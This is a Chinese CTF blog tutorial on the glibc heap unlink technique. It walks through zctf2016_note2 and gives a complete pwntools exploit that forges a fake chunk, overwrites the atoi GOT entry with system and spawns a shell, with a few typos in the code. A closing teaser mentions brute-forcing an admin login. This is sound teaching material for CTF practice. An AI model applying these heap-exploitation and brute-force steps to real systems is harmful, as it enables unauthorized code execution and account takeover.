堆的unlink利用

  • 堆的unlink利用已关闭评论
  • 8 views
  • A+

在刷Buuctf时看了一下关于pwn的堆部分题,发现一般题型都是有套路的,所以整理下堆题中常用的技术,本文介绍unlink的原理与利用。

unlink介绍

产生原因

我们知道link有链的意思,那unlink同理有解链的意思,unlink实际上就是在free堆块时把双向链表中的空闲堆块取出与和它地址相连已经释放的堆块进行合并,虽然malloc也会解链但没有使用unlink宏。以small bin为例(fast bin因为是单链表不会发生unlink,small bin和large bin是双链表可以发生unlink),当small bin中有一个已经释放的堆块时,假如现在要free一个和small bin中已经释放的堆块地址相连的堆块,不管要free的堆块在释放的堆块前面还是后面,都会触发堆块合并,而small bin因为是双链表以fd和bk连接堆块会触发unlink。

以wiki上的这张图为例先对unlink有个大致了解:

wKg0C2CIrnWAIQwAADxnwzTeW4231.png

最初small bin中的堆块应该像上图最上面那样连接,p是我们刚才free的堆块,此时p->fd=FD,FD->bk=p,p->bk=BK,BK->=fd=p,等unlink完后到了上图最下面,FD->bk=BK,BK->fd=FD,如果学过数据结构应该能够知道,这时的p已经被解了下来,在unlink合并堆块这个过程中,如果p与FD地址相连,则合并后的p应该在FD的data中,然后BK和FD直接相连,这就是free触发的unlink。

分析和利用

除了free触发unlink的情况,还有触发malloc_consolidate()将fast bin中释放的chunk整理到unsorted_bin中、

malloc()将unsorted中释放的chunk整理到small bin或者large bin中等情况。理论上只要涉及到双链表的堆块管理都有可能触发unlink。

刚刚我们简单的介绍了下unlink,再介绍下unlink的保护,最初的unlink是没有保护机制的,但它后来加了检查,下面我们看一下unlink(unlink是一个宏定义,不是函数)的源代码(libc-2.23.so为例)看看它加的检查:

wKg0C2CIrruAHMcAAEMLdAkNuw516.png

从上面我们发现,触发if ( __builtin_expect ( FD -> bk != P || BK -> fd != P , 0 ))时会malloc_printerr ( "corrupted double-linked list" )报错。它其实就是检查当前堆块的前一个堆块的bk是不是指向当前堆块,当前堆块的后一个堆块的fd是不是指向当前堆块,如果不满足这个条件就会报错。实际上其他的libc版本还有一个检查,那个检查是查看当前要释放的堆块的size与它的下一个堆块的pre_size是否相同,如果不相同也会报错,做题时根据libc版本不同伪造fake chunk时要注意size。

回到if ( __builtin_expect ( FD -> bk != P || BK -> fd != P , 0 ))时会malloc_printerr ( "corrupted double-linked list" ),如果我们想要利用unlink必须要想办法绕过FD - >bk != P || BK -> fd != P,这里我们可以通过在当前堆块构造fake chunk来绕过检查,有一个公式为:

  1. P -> fd -> bk == P <=> *( P -> fd + 0x18 ) == P
  2. p -> bk -> fd == P <=> *( p -> bk + 0x10 ) == P

再化简下就是可以通过下面的公式:

  1. P -> fd = & P - 0x18
  2. P -> bk = & P - 0x10

即将fd设置为(&p-0x18),将bk设置为(&p-0x10)。画图来解释就是:

wKg0C2CIrxmABgc8AAB6OAFWaRc888.png

这样就完成了unlink保护机制的绕过。假设有一个可以使用的指针P指向存在UAF漏洞的堆(此处的堆释放后应该在small bin或者unsort bin中),利用UAF漏洞如果我们将P的fd改为P-0x18,bk改为P-0x10,触发unlink后P处的指针会变为P-0x18。

如果unlink只能将指针变为P-0x18,那么它不会是堆中比较重要的一部分,它之所以重要是ctf比赛中的pwn堆题有时会malloc()一些内存,用指针指向这些内存,而指向内存的指针放在数组或者结构体中,如果将上面说的P变为我们想要修改的地址比如保存指针的数组地址,利用上面说到的unlink就能控制数组中的指针,并且我们使指针保存类似free_got、puts_got等,之后我们修改指针使其为system_got,那么下次我们调用其他函数就会调用system()。

前面我们说完了unlink在small bin的绕过再说一下unlink在large bin的绕过:

我们知道large bin中释放的堆块还有fd nextsize和bk nextsize指针,上面的unlink源码中其实还有一个检查:

wKg0C2CIr0KAKTtIAABkQNR7gSA882.png

可以看到,如果要释放堆的size不在small bin范围内,假如在large bin范围中,它会检查P->fd_nextsize是不是等于null,如果P->fd_nextsize->bk_nextsize!=P或者P->bk_nextsize->fd_nextsize!=P会报错。这是因为large bin中的P->fd_nextsize和P->bk_nextsize在循环双链表查找堆块有其他意义,P-fd nextsize如果等于null,说明P不是large bin中同一范围大小堆块中的第一个堆块,通过它不能循环双链表寻找堆块,而如果它是large bin中同一组堆块中的第一个堆块会通过它循环双链表,此时会再检查P->fd_nextsize->bk_nextsize和P->bk_nextsize->fd_nextsize的指向。如果这两个有一个不是指向的P代表P被修改了,进而导致报错,要想在large bin中使用unlink需要注意这点。

上面我们说到unlink的源码,再简单提一下补充完unlink的调用过程,回去继续看什么时候使用unlink(unlink是个宏定义,不是函数):

wKg0C2CIr3SAPBtjAAEYolF3M8U751.png

·······

wKg0C2CIr46AE025AADrGVxxFoQ186.png

·········

通过上面的源代码我们发现_int_free()怎么调用的unlink,简单来说就是程序在调用free()时,free()会调用_int_free(),而在上面的代码可以发现,_int_free()又会调用unlink宏对释放的堆块进行合并,如果用一个关系来说明的话,就是free->__libc_free->_int_free->unlink。

介绍到此为止,为了加深理解我们选一道题目为例学习对unlink的利用。

unlink例题

题目来源:zctf2016_note2

保护分析:

wKg0C2CIsDyAfmhsAABjZld7KY896.png

程序分析:

main函数:

wKg0C2CIsGqAACKBAADfOxiyM40241.png

wKg0C2CIsHaAYcTQAABGCims5I632.png

wKg0C2CIsISAJ9nCAABDT5J648Y876.png

典型的菜单题,1创建堆,2打印堆,3编辑堆,4删除堆

New_note函数:

wKg0C2CIsKGAcVp1AADgRiQQf3g232.png

最多可以申请4个chunk,ptr中保存着指向chunk的指针,qword_602140中保存着chunk的大小,ptr和qword_602140都在Bss段上,ptr的地址为0x602120,qword_602140的地址为0x602140。输入大小时限制size不能大于0x80,但第二次输入内容时可以利用整数溢出。

New_note会调用sub_4009BD:

wKg0C2CIsMGAJT5SAAC12bgn7NQ356.png

从上面的伪代码中可以发现最初定义时i是unsigned int类型,a2为int类型,C语言中int和unsigned int作比较或运算会变成unsigned int类型,如果这里的a2-1>i就会因为无符号数的转化问题导致整数溢出可以输入很多字符产生堆溢出。

Show_note:

wKg0C2CIsOOAKYXHAACWJf0kHUM326.png

输入v0,如果v0合法并且对应的指针不为空就会打印出对应指针的内容。

Edit_note:

wKg0C2CIsQSAaHsMAADzHm58dpE905.png

wKg0C2CIsRGAWTc8AADSukymm0E373.png

wKg0C2CIsR6AexWVAAA2t3dlyP0300.png

edit在26行开始选择,1是覆盖已有的chunk内容,2是追加chunk内容,但都不能超过前面size的大小。另外edit会malloc(0xa0),然后free后不置0造成UAF,但因为使用了strcpy函数导致输入的字符串中不能出现‘x00’,所以即使存在UAF漏洞也不好利用。

Delete note:

wKg0C2CIsT6ASnZsAACrT7ztVXA132.png

free堆块后置0并且将size也置0。

代码分析完了整理下本题思路。本题限制了size的大小,chunk释放后只能放到fast bin中,但我们可以在一开始New_note时就利用溢出修改后面的堆,再利用fast bin在free chunk后重新将其申请回来重新利用,后面通过unlink控制ptr,因为ptr保存malloc内存的指针,控制ptr后就能够改写got表,先利用Show_note泄露atoi_got,再通过edit_note改写edit_got为system_got,最后edit_note一个堆块时调用atoi即是调用system完成getshell的目的。

我们刚才分析New_note时说到了输入0可以利用堆溢出溢出后面堆的结构,用gdb调试一下,我们先输入0创建一个0x20(返回当前系统允许的堆的最小内存块:prev_size+size+fd+bk=0x20系统分配的最小堆)大小的堆并输入aaaaaaaabbbbbbbbcccccccc,再创建一个0x40大小的堆输入内容1111,看看分配的chunk内存结构:

wKg0C2CIsWiAKfAAADJyuwf6TM075.png

wKg0C2CIsXiAK8U3AAC4AIbH8TE830.png

如上图,的确发生了溢出,溢出了后面0x40大小chunk的prev_size,这样我们后面就能利用这个0x0大小的chunk溢出后面的chunk利用free()合并前面伪造的chunk触发unlink。

为了完成我们的设想我们先申请3个chunk,第一个chunk0大小为0x30,再申请时就提前伪造好fake_chunk,第二个chunk1要使大小为0,内容随意,然后申请第三个chunk2,大小为0x80:

ptr=0x602120
pay=p64(0)+p64(0x31)
pay+=p64(ptr-0x18)+p64(ptr-0x10)
pay+=p64(0x20)
pay=pay.ljust(0x30,'a')
create(0x30,pay) #chunk0
create(0,'b') #chunk1
create(0x80,'c') #chunk2

OK,第一步已经完成了,然后我们释放chunk1再重新申请chunk1,因为fast bin的原因我们后面申请的还是刚才释放的chunk1,然后通过New_note中的溢出漏洞修改chunk2:

delete(1)
pay=p64(0)+p64(0)
pay+=p64(0x50)+p64(0x90)
create(0,pay)

此时的chunk应该是这样:

wKg0C2CIsfOATwTHAACFUNbqkm0987.png

此时再释放chunk2的话会将chunk0和chunk1当做一个堆块合并触发unlink,而我们之前就已经在chunk0中构造好了fake_chunk,触发unlink后通过修改chunk0修改ptr。现在我们通过chunk0打印atoi_got:

delete(2)

pay='a'*0x18+p64(elf.got['atoi'])
edit(0,pay)
show(0)
p.recvuntil('Content is ')
atoi_addr=u64(io.recv(6).ljust(8,'x00'))

知道了atoi_got即可获得system_got:

libcbase=atoi_addr-libc.sym['atoi']
system_addr=libcbase+libc.sym['system']

最后再通过chunk0使system_got将atoi_got,此时edit_note修改chunk内容就会调用system:

edit(0,p64(system_addr))

p.sendafter('option--->>n',"/bin/shx00")

p.interactive()

因为个人Ubuntu问题不再用gdb调试了,根据上面的解释应该可以理解,如果有疑惑可以按照上述流程使用gdb调试下程序。

exp

完整exp:

from pwn import

from LibcSearcher import *

p = remote('node3.buuoj.cn',27891)
elf=ELF('./note2')
libc=ELF('./libc-2.23.so')

def create(size,content):
p.sendlineafter('option--->>n','1')
p.sendlineafter('(less than 128)n',str(size))
p.sendlineafter('note content:n',content)

def show(index):
p.sendlineafter('option--->>n','2')
p.sendlineafter(' id of the note:n',str(index))

def edit(index,content):
p.sendlineafter('option--->>n','3')
p.sendlineafter('the id of the note:n',str(index))
p.sendlineafter('[1.overwrite/2.append]n','1')
p.sendlineafter('TheNewContents:',content)

def delete(index):
p.sendlineafter('option--->>n','4')
p.sendlineafter('the id of the note:n',str(index))

p.recvuntil(":")

p.sendline("aaaa")

p.recvuntil(":")

p.sendline("aaaa")

ptr=0x602120

pay=p64(0)+p64(0x31)
pay+=p64(ptr-0x18)+p64(ptr-0x10)
pay+=p64(0x20)
pay=pay.ljust(0x30,'a')
create(0x30,pay)
create(0,'b')
create(0x80,'c')

delete(1)

pay=p64(0)+p64(0)

pay+=p64(0x50)+p64(0x90)
create(0,pay)

delete(2)

pay='a'*0x18+p64(elf.got['atoi'])
edit(0,pay)

leak atoi_got

show(0)
p.recvuntil('Content is ')
atoi_addr=u64(io.recv(6).ljust(8,'x00'))
success('atoi_addr = '+hex(atoi_addr))
libcbase=atoi_addr-libc.sym['atoi']
system_addr=libcbase+libc.sym['system']
success('sys = '+hex(system_addr))

atoi_got->system_got

edit(0,p64(system_addr)

p.sendafter('option--->>n',"/bin/shx00")

p.interactive()

执行结果:

wKg0C2CItPOAJHN4AADWhd0aCJM914.png

结语

初期的堆学习是很难的,如果学完基础后还有迷惑可以做一两题去实践下,在实践的过程中会发现不管是思路还是利用手法都会很清晰。本文只是笔者的一篇对unlink的总结,如果哪里有错误希望大佬能够斧正,谢谢。

参考:

https://ctf-wiki.org/pwn/linux/glibc-heap/unlink/

如果对上面的题的讲解感到迷惑可以看这个,大佬讲的很细致清晰:https://zhuanlan.zhihu.com/p/163690431

相关推荐: 记一次相对完整的渗透测试

教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了。 开局一个登陆框,且存在密码找回功能。 归属为某教育局 开启burp 抓取登陆包,发现用户密码并未加密 ,尝试爆破admin账户密码 跑了一下发现报如下错误,看来爆…